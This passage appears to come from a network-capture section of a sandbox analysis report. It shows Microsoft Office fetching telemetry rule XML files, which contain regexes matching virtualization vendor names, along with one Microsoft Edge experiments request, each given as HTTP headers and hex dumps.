3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:10 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: b357c660-c01e-008e-6e16-297381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193510Z-15b8d89586fxdh48ft0acdbg4400000000qg00000000ff5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:10 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:10 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1d33856d-201e-000c-0612-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193510Z-r197bdfb6b4grkz4xgvkar0zcs00000006rg00000000328x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:10 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:11 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193511Z-15b8d89586fdmfsg1u7xrpfws00000000b9000000000679c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:11 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:11 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193511Z-17c5cb586f6b6kj91vqtm6kxaw00000005q000000000bdzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:11 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193511Z-15b8d89586fhl2qtatrz3vfkf00000000d90000000004hrr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:11 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:11 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193511Z-16849878b78wv88bk51myq5vxc000000077g00000000kvz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:11 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:11 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:11 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193511Z-15b8d89586ff5l62aha9080wv0000000085g00000000mcbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:11 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49815	94.245.104.56	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:13 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:13 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 29 Oct 2024 19:35:13 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=094171560b8c9ed7eba2dd47eb67eb7546aba68f09ee60bff10f332db60735de;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=094171560b8c9ed7eba2dd47eb67eb7546aba68f09ee60bff10f332db60735de;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:13 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193513Z-16849878b78j7llf5vkyvvcehs0000000850000000001gp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:13 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:13 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193513Z-16849878b78qf2gleqhwczd21s000000074g00000000parf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:13 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:13 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:13 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193513Z-16849878b78hh85qc40uyr8sc800000007b0000000002xen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:13 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:13 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:13 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193513Z-16849878b78bcpfn2qf7sm6hsn00000008gg00000000sa9k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:13 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:13 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
